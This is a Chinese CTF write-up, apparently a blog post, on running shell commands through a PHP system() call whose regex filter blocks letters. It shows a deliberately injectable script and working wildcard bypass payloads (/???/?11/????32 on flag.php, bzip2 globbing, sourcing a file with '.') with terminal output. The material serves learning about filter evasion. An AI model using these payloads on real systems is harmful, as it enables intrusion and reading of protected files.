无字母命令执行

先看一道题

<?php
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['a'])) {
    $c=$_GET['a'];
    if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) {
        system($c);
    }else {
        echo "hacker!";
    }
}
?>

代码审计

过滤了字母 分号 反引号 百分号 和 %09 %26 <> 但是可以观察到其实没有过滤空格。

0x01使用 /???/?11/????32 进行绕过

Linux的bin目录一般保存了所有的二进制命令。 cat可以通过/bin/cat 代替。

哪种命令打开文件还能带有数字呢? 可以尝试使用 base64 去打开文件,将文件以base64编码输出

最后只有/???/?11/????32可以

┌──(root💀kali)-[/var/www/html]
└─# /usr/bin/base32 flag.php
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=
                                                                                                         
┌──(root💀kali)-[/var/www/html]
└─# /???/?11/????32 ????????
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=

仅适用kali、ubuntu等、centos不适用

因为没有centos 没有base32

0x02 使用 /usr/bin/bzip2 去压缩文件夹绕过

查看可利用

┌──(root💀kali)-[/var/www/html]
└─# locate /???/???/????2
/usr/bin/bzip2
/usr/bin/bzip2recover
/usr/bin/exiv2
/usr/bin/ntlm2
/usr/bin/ragg2
/usr/bin/rasm2
/usr/lib/sasl2

1、/???/???/????2

2、/???/?11/????2

实验环境没效果

其他系统环境

 只有/???/???/????2可以

0x03 使用点(.)去执行sh文件

linux中.相当于source,可以直接执行sh文件

不管有无文件后缀名,都是根据命令来选择打开文件的方式。

使用.执行

kali-2021.2环境不行

换个Linux系统试试可以,诚不欺我!

centos 7 环境可以

ubuntu 12 环境可以

 刚开始kali环境测试不行,后来换其他系统环境可以,以为执行的成功与shell版本有关,最后发现,文件内容仅有ls,也能被 . 执行成功

知识来源链接:命令执行-过滤了字母或者过滤了数字+字母的绕过方法 - Dark1nt - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值